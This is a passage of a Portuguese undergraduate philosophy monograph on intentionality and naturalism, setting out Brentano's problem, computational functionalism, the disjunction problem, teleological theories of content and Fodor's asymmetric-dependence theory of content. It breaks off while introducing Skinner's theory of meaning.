Consciênia - Filosofia e Ciências Humanas
Platão, biografia e pensamentos aristoteles Descartes Rousseau Nietzsche Marx

Intencionalidade e Naturalismo


e Naturalismo

por André Joffily Abath


João Pessoa, 2000
de Conclusão do curso apresentada para
Universidade Federal da Paraíba
Centro de Ciências Humanas Letras e Artes
Departamento de Filosofia
PIBIC/CNPq


Intencionalidade e Naturalismo Autor: André Joffily Abath
Orientador: Prof. Dr. André Leclerc

Sumário

 

Introdução

Jamais pensou a mente tanto sobre si própria. Em fins do século XX, ciência e filosofia trilham uma cruzada em busca de compreender a consciência e suas capacidades. Três séculos e meio após Descartes, respostas dualistas não mais são suficientes; quer-se compreender a mente enquanto um fenômeno fisicamente gerado, que toma parte no mundo físico. Em filosofia, esta postura denomina-se naturalismo.

Não obstante as exceções, algumas renomadas, como (1962), há muito a forma naturalista de compreender a consciência domina a filosofia. Na tradição que aqui abordaremos, a analítica, anglo-americana, as bases deste estudo remontam a autores como Sellars e seu Empiricism and Philosophy of the Mind (1956), Quine, em Palavra e Objeto (1960) e Putnam com Minds and Machines (1960).

Neste âmbito da filosofia analítica, ou seja, na filosofia da mente, a intencionalidade sempre foi, das características da consciência, a que mais despertou atenção. Já nestes autores primordiais o problema se revelava: como é capaz de um sistema físico produzir intencionalidade? Como veremos no início do trabalho, este é o chamado problema de , em referência ao afirmado por Franz Brentano, que tomou a intencionalidade como a marca definitiva da distinção entre mente e corpo.

Dizemos que um estado mental apresenta intencionalidade quando está por outra coisa, quando é acerca de outra coisa. Por conseguinte, crenças e desejos são estados intencionais (Dennett, 1987). Note-se, ainda, que a mente é capaz de representar o que até mesmo não está no mundo, ou seja, posso, neste momento, imaginar um monumento imaginário a que chamo de "Obelisco dos Sete Mares". Apresento um estado intencional, acerca de algo, muito embora este algo não possa ser encontrado no mundo. Como isto é possível? Como eu, um sistema físico, posso apresentar estados mentais acerca de algo fisicamente inexistente? Isto é, como um sistema físico pode ter estados mentais sobre algo diferente de si próprio? Tem-se apresentado, aqui, neste questionamento, o problema a ser abordado neste trabalho: como unir naturalismo e intencionalidade?

Veremos como este problema foi tratado por dois filósofos contemporâneos: Jerry Fodor e Daniel Dennett. O primeiro, aluno de Putnam, iniciou, como ele, nos anos 60, em uma defesa do funcionalismo, buscando compreender a mente sob a forma de um sistema computacional. Uma década mais tarde, em 1975, mais precisamente, Fodor publicou The Language of Thought , passando a unir a proposta funcionalista a uma linguagem de pensamento. A obra que aqui analisaremos, A Theory of Content and Other Essays (1992), distancia-se destas posturas, que pouco são discutidas. Mais uma vez caminhando em terreno próximo ao de Putnam, que três décadas após o formulação do funcionalismo o renegou, Fodor aproxima-se do externalismo, i.e, a idéia de que os processos internos do cérebro não são suficientes para determinar o conteúdo mental; necessário é considerar a relação entre mente e mundo.

Dennett, embora imerso na mesma tradição de Fodor, tem como base não Putnam, mas sim Quine, o que torna a obra de ambos diversa. Ao contrário do obra inicial de Putnam, que discorria sobre estruturas internas do cérebro em busca de uma compreensão da mente e da intencionalidade, a de Quine é marcada por levar esta busca adiante de forma pragmática: a utilização do vocabulário intencional desempenha um papel nas práticas sociais, ajuda o homem a relacionar-se com seu mundo. Ou seja, a utilização de termos como "acredita que" e deseja que" ajudam a predizer comportamentos, situações. Rorty, em uma passagem Objetivismo, Relativismo e (1997), expõe com clareza este ponto:

"Dizer que nós sempre estaremos falando sobre crenças e desejos, é dizer que a psicologia popular provavelmente permanecerá a melhor via de predizer o que nossos amigos e conhecidos farão daqui a pouco. Isso é tudo que alguém pode plausivelmente dar a entender dizendo: ‘Há realmente entidades mentais’. De maneira similar, a melhor forma de predizer o comportamento de mesas permanecerá sendo falar sobre elas qua mesas, ao invés de falar delas enquanto coleções de partículas ou enquanto réplicas turvas da mesa arquetípica platônica. Isso é tudo que se poderia provavelmente dar a entender dizendo ‘ Há realmente mesas’" (Rorty, 1997:160).

Deste alicerce parte Dennett. Antes de tratar-se de processos internos, necessário é compreender os estados mentais em seu funcionamento, como parte de relações sociais. A obra que aqui analisaremos, The Intentional Stance (1987), é uma coletânea de ensaios de épocas diversas, partindo dos que tratam desta base que citamos, aos que defendem uma forma de evolucionismo, o que marca uma reviravolta no pensamento de Dennett. Com efeito, hoje sua obra caminha entre a filosofia e as ciências cognitivas, sendo um nome popular entre os neo-darwinistas. O título que melhor marca este momento de Dennett é A Idéia Perigosa de Darwin (1996). Lá, Dennett analisa a evolução da intencionalidade a partir da evolução das espécies.

A linha quiniana da filosofia analítica, que tem seguidores, entre outros, em Dennett, Rorty e Davidson, é freqüentemente denominada como sendo "anti-realista". Em linhas gerais, no que tange à filosofia da mente, este termo, cunhado por Michael Dummett na teoria do significado, designa a utilização de um vocabulário intencional sem que haja um comprometimento, de fato, com a existência de tais estados, como vimos acima no exposto por Rorty. Seu uso cumpre um papel na relação do homem com seus pares e o mundo, ainda que não haja, rigorosamente falando, estados como crenças e desejos (Rorty, 1997). Dennett, portanto, jamais afirma que, se mapeado o cérebro, lá se encontrarão crenças, desejos e coisas do tipo. O termo "anti-realismo", porém, é problemático. Dennett e Rorty o renegam. O primeiro, prefere considerar-se um realista, embora não rigoroso, e o segundo, considera-se um anti-representacionalista. Em nosso trabalho, até uma discussão mais aprofundada do tema, manteremos Dennett sob a linha anti-realista, buscando ter claro a distinção entre a sua obra e a de Fodor.

Afinal, Fodor, por sua vez, assume-se como um realista, considerando que há, literalmente, estados intencionais como crenças e desejos. Mais: tais estados possuem poderes causais, podendo causar ações e interferir no mundo. Por conseguinte, em Fodor, é meu desejo de levantar o braço que me leva a levantá-lo, não sendo esta relação mero hábito do observador ou façon de parler . A defesa deste realismo rigoroso permeará a obra de Fodor de seu início funcionalista até sua teoria do conteúdo, alvo principal de nossas atenções. Sua busca, portanto, é dupla: possuir uma concepção da intencionalidade que seja naturalista e, ao mesmo tempo, realista. Isto significa tomar o vocabulário cotidiano, chamado de "psicologia popular", de forma literal, e não apenas como possuindo um papel fundamental em práticas sociais. Quando certa pessoa diz que crê em um p qualquer, esta crença existe de fato, se faz presente em seus processos cognitivos internos. Partilhando companhia com Fodor nesta busca está John Searle, que também adota uma linha naturalista e, ao mesmo tempo, rigorosamente realista.

Adiantando minimamente o que virá, a divergência entre Dennett e os realistas se tornará óbvia quando sua obra adquirir influências evolucionistas. A intencionalidade passará a ser tomada dentro do processo de evolução natural, como um fenômeno que se desenvolveu ao longo do tempo, de sistemas mais grosseiros à sistemas mais complexos. Não haverá uma forma de intencionalidade tipicamente humana, como crêem os realistas.

A esta discussão voltaremos ainda de forma detalhada, quando lidarmos com a obra de Dennett, em um segundo capítulo. O primeiro será dedicado a uma exposição da obra de Fodor A Theory of Content and Other Essays , tendo como ênfase a teoria do conteúdo de Fodor, em que ele oferece uma teoria da representação próxima ao externalismo. Procuraremos, durante este primeiro momento, clarificar os conceitos nesta introdução utilizados, ainda que sem uma devida explicitação. Muitos outros surgirão durante o texto, e, à medida que com eles lidemos, procuraremos defini-los com máxima precisão.

O segundo capítulo versará sobre a obra The Intentional Stance , de Dennett. A já exposição dos problemas gerais da filosofia da mente, o conhecimento prévio do proposto por Fodor, nos permitirão contrapor sua obra a de Dennett. Com efeito, ao abarcar-se, em uma única pesquisa, Dennett e Fodor, tem-se, dentro da tradição analítica, duas das posições mais divergentes, ou seja, tem-se duas abordagens diversas sobre o mesmo problema. São, por assim dizer, adversários. Isto nos permitirá, ao longo da monografia, tratar de uma gama de autores que entre ambos se situam. O que buscaremos, além do objetivo central de análise de duas obras, é expor como a filosofia vem lidando com o problema da intencionalidade, e, mais que isso, da mente. Autores diversos não serão citados, mas abordaremos, de forma breve, idéias de Quine, Putnam, Davidson, Kim, Rorty e Searle. Este esforço é não apenas recomendável como necessário, pois que estes são nomes indispensáveis ao que propõem Dennett e Fodor, e impossível seria passar pela obra de ambos sem a estes citar.

Saliente-se, por fim, que esta monografia é resultado da pesquisa intitulada Intencionalidade e Naturalismo , orientada pelo Prof.Dr. André Leclerc e financiada pelo CNPq através do programa PIBIC, de iniciação científica.

Capítulo I

A Teoria do Conteúdo de Fodor e a Naturalização da Intencionalidade

A teoria do conteúdo de Jerry Fodor é uma busca por soluções para alguns dos problemas fundamentais da atual filosofia da mente. É ainda uma discussão com outras idéias, outras saídas para as mesmas questões. Ao longo dos ensaios que anunciam sua teoria, o esforço de Fodor é por construir uma teoria da intencionalidade que seja, ao mesmo tempo, realista e naturalista, que inclua a mente na ordem natural das coisas preservando sua autonomia. A obra a que nos referimos é intitulada A Theory Of Content and Other Essays (1992), sendo formada por uma coletânea de ensaios de diferentes épocas, dando, assim, uma visão panorâmica do que realizou Fodor durante os anos. Theory Of Content é dividido em duas partes, uma primeira dedicada à intencionalidade e uma segunda à modalidade. Aqui, nos debruçaremos exclusivamente sobre a primeira, dando ênfase a 5 ensaios : Fodor´s Guide to Mental Representation; Semantics, Wisconsin Style; Theory of Content 1; Theory of Content II e Makind Mind Matter More . Como já está indicado no início deste parágrafo, o cerne da obra é dedicado à teoria do conteúdo, e é em direção a ela que caminharemos a partir de agora. Todavia, antes de trilharmos este caminho, faz-se necessário a compreensão de alguns conceitos presentes neste âmbito da filosofia.

Caso queiramos, com um conceito, abranger as questões aqui envolvidas, este será o de intencionalidade. O termo é de origem medieval, utilizado para designar o ato de apontar ou direcionar. E esta marca carrega o conceito filosófico. Na filosofia da mente, como vimos de forma introdutória, intencionalidade significa estar por outra coisa, possuir relacionalidade (Dennett, 1997). Mais especificamente, diz-se que são intencionais os estados da mente que são sobre algo, que se direcionam ao exterior. Com efeito, desejar é desejar algo, crer é crer em algo. Seguindo esta linha de conceituação, podemos afirmar que identificamos a intencionalidade, a nível mental, como representação de algo. Porém, se estendermos o conceito para além do mental, considerando a intencionalidade de objetos, tais como mapas e receitas, que também estão por outra coisa, torna-se mais adequado o uso da expressão "relacionalidade", deixando restrito o emprego do termo "representação" para o mental.

Quando Franz Brentano, no século XIX, valeu-se do termo "intencionalidade", o conceito já possuía as características enumeradas acima. Predecessor da escola fenomenológica, Brentano definiu a intencionalidade como sendo a distinção definitiva entre o físico e o mental. Não poderia um sistema físico, imerso na ordem natural, possuir uma característica que fosse a representação de algo distinto de si mesmo, do inexistente no mundo físico. A esta marca da intencionalidade, capaz de representar dragões e cavalos alados, Brentano deu o nome de "inexistência intencional", expressão advinda do inglês "intentional inexistence". Note-se que, neste termo, o prefixo "in"- em inglês a preposição em- não marca uma negação, sendo, na verdade, um locativo; indica o lugar onde se faz presente a existência dos objetos, que, neste caso, não se encontram no mundo físico, mas apenas no âmbito mental. De fato, a "inexistência intencional" é um modo ontológico de "existir-em", indicando a presença de objetos unicamente a nível intencional. Em suma, objetos como dragões podem ser encontrados nos estados mentais e, mais especificamente, nos intencionais, mas nunca no mundo físico. Segundo Brentano, tal característica seria incompatível com um sistema físico, que não poderia produzir estados direcionados a algo distinto de si mesmo. Não poderia, portanto, o mental ser explicado através do físico, já que estes são distintos.

Com esta tese, Brentano deixou um legado e um desafio à filosofia: buscar a mente no mundo natural, entendê-la como parte de um sistema físico. O naturalismo lançou-se, portanto, a caminho para solucionar o chamado "problema de Brentano". Embora sobre esta questão debrucem-se todos ligados às ciências cognitivas, o esforço aqui será de ordem filosófica. O naturalismo, em Fodor e nos filósofos que a ele se ligam, é tomado de forma conceitual. Com efeito, o desafio é encontrar condições suficientes para a inserção da mente na ordem natural.

Embora já tenhamos restringido o campo de discussão, ainda são por demasiado variadas as correntes, na filosofia, que se propõem a naturalizar o mental. Buscando um método de análise da questão, estabeleceremos, aqui, uma linha divisória entre realistas e anti-realistas. Denominam-se realistas os que, seguindo o senso-comum, aceitam a existência de estados mentais, tais como desejos e crenças. Defendem, ainda, a causalidade mental, ou seja, acreditam que os estados mentais são responsáveis pelas ações do indivíduo, podendo, assim, interagir com o mundo físico. Mais: um realista toma estes estados como sendo semanticamente avaliáveis, ou sejam, possuem condições de satisfação. Estas condições se revelam em uma relação entre estados mentais e mundo, ou seja, um desejo ou crença será avaliado de forma empírica, podendo ser ou não satisfeito, ser ou não verdadeiro. Exemplificando: Meu desejo de que pare de chover será satisfeito se, de fato, a chuva parar e será frustrado caso continue a chover. Diz-se, portanto, que os estados mentais são semanticamente avaliáveis porque podem ser satisfeitos ou frustrados, no caso de desejos, e verdadeiros ou falsos, no caso de crenças. Assim, crer que há um urso polar na sala ao lado é uma crença falsa, enquanto crer que há uma tela diante de mim é uma crença verdadeira.

Os anti-realistas não aceitam tal tese. Negam que seja válida a causalidade mental e até que haja, rigorosamente falando, estados mentais como desejos e crenças. A relação de aparente causalidade entre estados mentais e atitudes apenas refletiria o modo mais simples e eficaz de explicar-se, cotidianamente, uma gama de comportamentos. Diz-se que é o desejo de levantar o braço que causa tal ação por ser a explicação mais útil no discurso cotidiano. Leva a um entendimento do interlocutor sem recorrer ao que se posiciona fora do senso comum. Da mesma forma, diz-se que terceiros possuem tais crenças e desejos por ser esta uma forma de predizer suas ações e comportamentos. Ou seja, utiliza-se o vocabulário intencional, com desejos e crenças, por ele possuir um papel no relacionamento do homem com seu ambiente (Rorty, 1997).

Todavia, para adequadamente aproximarmo-nos de Fodor , tal divisão não é o bastante. Como tantos outros em filosofia da mente, Fodor segue ainda a teoria que por muito dominou as pesquisas nesta área, a saber, o funcionalismo. Portanto, neste ponto convém centrar a atenção nas idéias funcionalistas para, em seguida, percorrer o caminho em direção à teoria do conteúdo.

Funcionalismo

 

Difundido a partir do início dos anos 60, o funcionalismo tem em Jerry Fodor, assim como em Hillary Putnam, um de seus primeiros expoentes. Para o projeto de naturalização da intencionalidade, o que o funcionalismo oferecia era inédito: mantinha-se o projeto naturalista do , a ele adicionando relações causais entre estados mentais, o que resultava em uma causalidade mental efetiva. Como em outras linhas da filosofia da mente, também o funcionalismo apresenta divisões. Há o funcionalismo que se une a uma teoria do significado, representado por autores como Sellars e Harman. Há a corrente de Armstrong e Lewis, que mantém a base da teoria, mas direciona-se a uma análise dos conceitos mentais. Aqui, estas linhas não serão abordadas, já que nos interessa apenas a linha adotada por Fodor: o funcionalismo computacional (Block, 1980).

A corrente computacional defende que os estados mentais possuem relações causais entre si e respostas comportamentais. Como no behaviorismo, há aqui impulsos sensoriais que geram respostas comportamentais. Só que, inserido neste processo, estão as relações mentais, que se dão sob a forma de inputs e outputs. Ou seja, receber um input estando em um determinado estado mental, tem como conseqüência um output e o surgimento de outro estado mental. O procedimento, aqui, é similar ao de uma máquina de Turing. Em uma máquina Turing, há uma fita infinita, à esquerda e à direita, e formada por quadrados. Esta fita é lida por um cabeçote capaz de mover-se à esquerda e à direita, de apagar e escrever símbolos ( os números 0 e 1). Ao estar com o cabeçote fixado em um determinado ponto da fita, diremos que a máquina está em um estado qualquer. Assim sendo, a máquina possui um conjunto de estados, que representaremos sob a forma S={S1…Sn} . Há, ainda, um conjunto de inputs I={I1…Im) e outro de ouputs O= {O1…Op). Se a máquina está, por exemplo, em um estado Sb e recebe um input Ic, ela emitirá um output Od e seguirá para o estado Se. Neste processo, a máquina, ao emitir um output, pode apagar um símbolo, escrever outro em seu lugar, deslocar-se, à esquerda ou à direita, para outro quadrado e nele escrever um novo símbolo (Block, 1980).

Na versão computacional do funcionalismo, algo similar ocorre no mental. Dado um conjunto de estados S={S1…Sn}, inputs sensoriais gerariam outputs, criando variações por este conjunto, ou seja, relações entre estados mentais. Exemplificando: Estando em um estado mental de sede (Sb), alguém recebe um input sensorial (Ic), que gerará um output (Id), acarretando outro estado mental, o desejo de beber água (Se).

Esta exigência é hoje severamente discutida e boa parte dos adeptos do funcionalismo não mais o são. Esta é o caso de Hillary Putnam. Um dos criadores da teoria funcionalista, Putnam é, atualmente, defensor do externalismo, afirmando que os estados mentais se dão em uma relação mente-mundo, ou seja, as propriedades intrínsecas não são suficientes para determinar completamente o conteúdo mental; devemos levar em conta o meio ambiente do sujeito.

A seguir, trataremos da teoria causal da representação, i.e., do processo de formação dos estados mentais. Notaremos que a postura de Fodor, neste ponto, assemelha-se à externalista, requer uma relação mente-mundo. Todavia, Fodor ainda crê na proposta computacional, recaindo em um problema que brevemente abordaremos na conclusão deste trabalho. Iniciemos, então, o mapeamento da obra de Fodor. As questões a seguir estão inseridas nos ensaios Semantics, Wisconsin Style e Theory Of Content I.

 

A Teoria Causal da Representação e o Problema da Disjunção

 

Com a expressão "teoria causal da representação" nos referimos a uma teoria naturalista da representação. O que temos, aqui, é uma relação de causalidade entre uma representação R e um objeto S. O estado intencional, portanto, é causado por algo exterior a ele, permitindo-nos afirmar que R representa S. Note-se que a teoria causal da representação leva em conta uma interação do mental com algo exterior a ela, e não apenas uma relação causal ocorrida no sujeito (Papineau, 1994).

Imagine-se que um indivíduo, diante de um tigre (S), forme uma representação (R) deste animal. Neste caso, R representa o objeto em sua extensão, sendo este representação verdadeira. Segundo Dretske, um dos que adotam a teoria causal da representação, seria possível, neste processo, descobrir-se algo sobre S a partir de R. O tigre representado mentalmente traria informações sobre o tigre percebido. Em Dretske, vale a seguinte proposição: R carrega informações acerca de S, se S, e somente S, causa R for uma lei.

A teoria causal, porém, é problemática por não lidar adequadamente com o erro na representação. Considere-se, agora, que um homem, em seu carro, crê avistar, ao longe, um coelho morto na estrada. Forma uma representação deste coelho. Imaginando esta diante do objeto que representou, desvia o veículo, evitando atingi-lo. Entretanto, o que havia na estrada era um urso branco de pelúcia. A princípio, este exemplo soa como um caso de falsa representação, e, se assim fosse, a teoria causal não enfrentaria um sério problema. O que ocorre, na verdade, é que tanto o objeto a que se refere R (o coelho), quanto o urso de pelúcia, são suficientes para formar uma representação de coelho. De fato, R representa um coelho ou um urso de pelúcia, ou ainda n possibilidades de objetos. Note-se que daí surge uma disjunção: R representa SvU, podendo ainda a disjunção estender-se a inúmeros objetos. O que se conclui deste exemplo é que, na teoria causal da representação, não há espaço para o erro. Esta dificuldade, denominada "problema da disjunção", foi tematizada por inúmeros filósofos, sendo que a teoria do conteúdo de Fodor é uma das soluções propostas para a questão.

A primeira proposta que previa eliminar a disjunção foi formulada por Dretske. Em sua teoria, surge um período de aprendizagem de conteúdos, i.e., um período em que o sujeito relacionaria o objeto ao seu significado. Aprenderia, por exemplo, que cadeira significa cadeira e não mesa. Após este período, caso uma mesa causasse uma representação de cadeira, isto constituiria um erro. Após formulado o conteúdo, apenas o que a ele fosse extensivo seria verdadeiro. Estaria, assim, eliminada a disjunção.

Por apresentar diversos problemas, tal proposta foi refutada. Afinal, o que determina o momento em que o conteúdo foi definitivamente obtido? Caso, em meu período de aprendizagem, eu encontre tigres e réplicas de tigres, o que me garantirá o conteúdo correto? Com efeito, se, durante a aprendizagem, ambos causassem representações de tigre, o mesmo se daria após este período.

A seguinte proposta de solução para o problema revelou-se mais consistente. Trata-se de uma resposta teleológica, que irá levar em conta a função dos mecanismos biológicos. O que se formula, aqui, é uma distinção entre situações normais e anormais. Na primeira, os mecanismos agem de acordo com sua função; na segunda, alguma anormalidade, no meio ambiente, por exemplo, atinge o processo. Esta distinção permite que se delineie uma linha entre o verdadeiro e o falso na intencionalidade. De fato, em situações anormais, o erro se daria, e não uma disjunção.

Detalhando mais a visão teleológica, temos que um determinado estado mental é causado por estímulos presentes no ambiente. Entre este estímulo e a intencionalidade, surgem mediadores internos, a saber, os mecanismos cerebrais. Assumindo que a seleção natural agiu sobre tais mecanismos, conclui-se que sua função foi por ela determinada. Os mecanismos biológicos agem de acordo com o que foram selecionados a fazer. Em situações normais, sua função é satisfeita, em anormais, não. Primeiro caso, representação verdadeira. Segundo caso, representação falsa.

Caso aceite-se a proposta teleológica , defendida por Dennett, Milikan e Papineau, tem-se não apenas uma saída para o problema da disjunção, mas também para o de Brentano. A busca pelas funções dos mecanismos é naturalista, inserindo a mente no processo evolutivo. Contudo, também esta teoria revelou-se problemática. Em seu Theory Of Content I (1990), Fodor critica a linha teleológica, afirmando que ela não é satisfatória ao solucionar o problema da disjunção.

Não obstante, Fodor, em 1984, no ensaio Semantics, Wisconsin Style , ao lidar pela primeira vez com o problema da disjunção, considerou a teleologia como sendo a única saída para o impasse criado, como afirma a seguir:

" I see no way out of this: a causal theory must so characterize representation and normalcy that there is no misrepresentation in normal circumstances. My view is: if that is the price of a workable theory of representation, we ought simply to pay it " (Fodor, 1984:48). 1

Mais tarde, ainda antes de sua crítica formulada à teleologia, Fodor já buscava evitar esta linha afirmando: " I´m not sure that this teleology/optimality story is false, but I do find it thoroughly unsatisfying " 2 (Fodor apud Dennett, 1988). Para Dennett, a relutância de Fodor em aceitar a resposta teleológica advém de seu realismo. Com efeito, tomando-se a linha evolutiva , o realismo e sua causalidade mental caem por terra, pois as ações do indivíduo seriam designadas por sua genética. Sabemos, afinal, que Fodor quer não apenas intencionalidade com naturalismo, mas naturalismo com autonomia do mental.

Retornemos agora ao problema da disjunção, explicitando a crítica formulada por Fodor. Em linhas gerais, o que se revela aqui é que, diante de conteúdos ambíguos, a função do mecanismo biológico é indeterminada, ou seja, nada podemos garantir sobre ela. Iluminaremos a questão através de um exemplo. Imaginemos um sapo, em seu ambiente, alimentando-se de moscas e outros insetos similares. Considerando-se que a função dos mecanismos do sapo é buscar moscas, pode-se afirmar que o ataque a outros insetos constitui uma situação anormal, um erro. Assim crêem os defensores da teoria teleológica: a função dos mecanismos do sapo é o ataque a moscas e, quando isto não se dá, o erro surge. Entretanto, para Fodor, esta é apenas uma maneira possível de tomar o caso. A história pode ser contada de outra maneira. Pode-se considerar que a função dos mecanismos do sapo é o ataque a pontos pretos voadores, e não a moscas. Neste caso, seu ataque a insetos dos mais variados tipos, inclusive moscas, constituirá uma situação normal. Segundo Fodor, pouco importa, neste caso, de que maneira é entendida a função do mecanismo, já que, em uma perspectiva darwinista, é a sobrevivência do indivíduo que deve ser levada em conta. Alimente-se o sapo de moscas ou mosquitos pretos, o essencial é que ele ingira o número necessário de moscas para sua sobrevivência. Caso, neste ambiente, a maior parte dos pontos pretos voadores forem moscas, ótimo para o sapo. O fato é que este é um caso de conteúdo ambíguo: moscas ou pontos pretos voadores. E em situações deste tipo, a função do mecanismo mostra-se indeterminada, podendo a história ser entendida de mais de uma forma.

A crítica de Fodor, contudo, também não está livre de seus problemas. Se são moscas o que o sapo precisa para sua sobrevivência, a função dos mecanismos biológicos é atacá-las, e não a outros insetos, pois foi a presença de moscas que levou o mecanismo à seleção natural. Dennett (1987) e Papineau (1994) seguem esta linha de argumentação, afirmando que a crítica é falha por não levar em conta o que é útil ao organismo. Papineau afirma que Fodor buscou identificar a função dos mecanismos pelo viés errado. A pergunta deveria ser direcionada aos resultados produzidos pela atitude, e não às causas. Este redirecionamento da questão busca alcançar as condições que, em determinado momento, acarretaram em vantagens para organismo, levando-o a um processo de seleção natural. No caso do sapo, estas vantagens são alcançadas na presença de moscas, e não apenas na de outros insetos similares. Ainda que o sapo, neste momento, pouco encontre moscas, foram elas que trouxeram vantagens para o organismo e que geraram um processo de seleção. Obviamente, o ambiente pode haver mudado e o número de moscas reduzido, o que leva o mecanismo biológico a ser incitado freqüentemente por outros insetos, incorrendo, assim, em erros constantes. De fato, a crítica de Fodor soa insuficiente ao afirmar que o sapo, para sobreviver, precisa ingerir moscas, ainda que sua função não seja atacá-las, mas sim a quaisquer pontos pretos voadores. Em determinado instante da história, algum ponto preto voador apresentou resultados vantajosos para o sapo, levando-o à seleção natural; como, hoje, é de moscas que ele precisa, hão de haver sido elas, as moscas, as responsáveis por este evento.

Fodor, porém, não apenas formulou uma crítica à teleologia, como apresentou uma nova proposta contra o problema da disjunção. Sua saída é não uma teoria do erro, distinguindo situações normais e anormais, mas sim uma teoria do conteúdo. É dela que trataremos de agora em diante.

A Teoria do Conteúdo

Antes de mais, saliente-se que o esforço de Fodor, buscando solucionar o problema de Brentano, é por construir uma teoria naturalista da intencionalidade. Isto significa: condições suficientes para que um sistema físico possua estados intencionais. Ao especificar que precisa de condições suficientes, e não necessárias, Fodor limpa o caminho para construir seu argumento através de contrafactuais, afirmando sempre que, em determinado caso, X significaria tal coisa. Dito isto, comecemos.

Até o momento, as tentativas em lidar com o problema da disjunção procuraram criar situações propícias para o erro. Assim é em Dretske, com seu período de aprendizagem, e na teoria teleológica, com a distinção entre situações normais e anormais. Em Fodor, o que surge é não uma teoria do erro, mas sim do significado. Aqui, a diferença estabelecida não será mais entre situações, mas sim entre informação e significado. Com efeito, um determinado estado intencional pode possuir um significado distinto da informação que carrega.

Ao empregarmos o termo "informação", apontamos diretamente para o aspecto histórico causal da intencionalidade. Portanto, a etiologia da representação é o elemento distintivo entre informações; etiologias diferentes geram informações diferentes. Imagine-se que um espantalho causa uma representação de um homem de braços abertos. A informação, aqui, direciona-se ao objeto causador da intencionalidade, no caso, o espantalho. Agora, consideremos que esta mesma representação, homem de braços abertos, foi causada, de fato, por um homem de braços abertos. Temos que a informação muda; sob esta hipótese, a representação foi causada por um homem de braços abertos e esta é a informação presente. Neste exemplo, temos dois estados intencionais que carregam diferentes informações, mas que possuem o mesmo significado.

O significado de uma representação pode coincidir ou não com a informação presente. Em sua determinação, as causas não são levadas em conta, mas apenas as próprias representações, que, quando idênticas, terão sempre o mesmo significado, ainda que carreguem informações diferentes. Retomando o exemplo acima, uma representação de um homem de braços abertos terá o mesmo significado, quer tenha sido causado por um espantalho, quer por um homem. Significados iguais, informações diferentes. Há de haver, porém, uma relação entre ambos, i.e., quando o significado diferir da informação, algo mais precisa ser dito, em busca de solucionar o problema da disjunção. Note-se que há uma relação de dependência entre informação e significado. Um estado intencional não poderia ser causado por uma determinada informação e, ainda assim, possuir um significado diferente desta, se este significado já não previamente existisse. A esta relação, Fodor dá o nome de dependência assimétrica . Expliquemos.

Diante de um urso de pelúcia, o sujeito só poderá representá-lo como coelho se deste possuir, previamente, seu significado. Portanto, representações de coelho causadas por não-coelhos dependem, de alguma forma, de que, no passado, o sujeito tenha produzido representações de coelhos causadas de fato pelo animal, garantindo-lhe este conteúdo. Caso não houvessem coelhos no mundo, um urso de pelúcia não causaria a representação descrita. Segue-se que há uma relação de dependência entre informação e significado. Com efeito, em Fodor, a informação é assimetricalmente dependente do significado. Relacionando, aqui, o problema da disjunção, temos que uma representação de coelho significa sempre coelho, e não coelho ou urso de pelúcia, porque uma falsa representação depende de uma verdadeira, i.e., não-coelhos só são capazes de causar uma representação de coelhos, se coelhos a tiverem causado previamente.

Buscando clarificar e solidificar ainda mais seu argumento, Fodor sai do âmbito mental para o lingüístico. Neste caso, a relação de dependência assimétrica se dá, por exemplo, entre o ato de requisitar um objeto e o de nomeá-lo, conforme afirma Fodor:

" Some of our linguistic practices presuppose some of our others, and it´s plausible that practices of applying terms (names to their bearers predicates to things in their extensions) are at the bottom of the pile " 3 ( Fodor, 1992:97).

De fato, ao pedir um parafuso, um operário pressupõe que todos conheçam o significado do termo a que ele se refere, ou seja, a extensão deste predicado foi previamente estabelecida. Não foste este o caso, o operário não se faria entender, a mensagem não seria entendida. Como nos exemplos relativos à representações mentais, há aqui uma relação de dependência assimétrica que, na linguagem, se dá entre o uso da palavra e o momento em que sua extensão foi fixada. O mesmo pode ser verificado se, em um determinado grupo de amigos, chega-se a um consenso sobre chamar todos os espelhos do mundo de "léfios". Deste momento em diante, o uso do neologismo "léfios" possui um significado prefixado; sempre que tal palavra for usada, o grupo saberá que espelhos é o objeto referido. Como a compreensão deste termo depende de seu significado haver sido estabelecido, seu uso é assimetricalmente dependente ao ato de nomeá-lo.

Note-se que, tomada à luz da linguagem, a dependência assimétrica repousa em um domínio de regras lingüísticas, de onde seguem-se práticas lingüísticas. De fato, querer um parafuso e expressar este desejo através da linguagem pressupõe práticas lingüísticas, o que requer, necessariamente, a existência de regras lingüísticas; afinal, só assim a mensagem deixa-se ser compreendida pelo interlocutor. Dito isto, resta-nos encontrar na linguagem uma abertura ao projeto de naturalização da intencionalidade.

Nas entrelinhas, Fodor aproxima-se, aqui, de uma postura externalista, i.e., os estados intencionais dependem de que haja uma relação efetiva entre o mental e o mundo; é do mundo que procedem as informações a serem fixadas no mental. Para o sucesso de uma teoria do conteúdo, Fodor requer a existência de uma relação causal entre símbolos e suas extensões; em suas palavras, requer que "algo aconteça no mundo". Clarifiquemos o proposto com um exemplo. Embora possa eu nomear um parafuso de "mior", não há entre este termo e o objeto uma relação semântica. O que ocorreu foi um processo mental que de forma alguma alterou algo no mundo. Na prática lingüística, o sucesso de uma mensagem depende da compreensão do interlocutor, o que, neste exemplo, valendo-se unicamente do comportamento vocal, seria inalcançável. Contudo, as práticas e regras lingüísticas não são responsáveis por relações semânticas, mas sim por relações causais entre o objeto e suas instanciações. São as regras e práticas lingüísticas que determinam a relação causal entre um parafuso e o uso do termo na língua, mas não são as regras e sim a própria causalidade que geram conteúdo. Com efeito, é nesta relação de causalidade que reside a semântica. Portanto, o conteúdo depende de uma relação efetiva entre símbolos e sua extensão, independentemente de que mecanismo medeie esta relação. Segue-se que, para uma relação entre informação e conteúdo, ou seja, de dependência assimétrica, são estas as condições suficientes.

Neste ponto, para melhor compreender o argumento de Fodor, é necessário recuar um pouco e fazer menção à teoria do significado de Skinner. Ao propor que o conteúdo determina-se em relações causais entre símbolos e suas extensões, Fodor está seguindo os passos de Skinner, de maneira crítica e livre do behaviorismo.

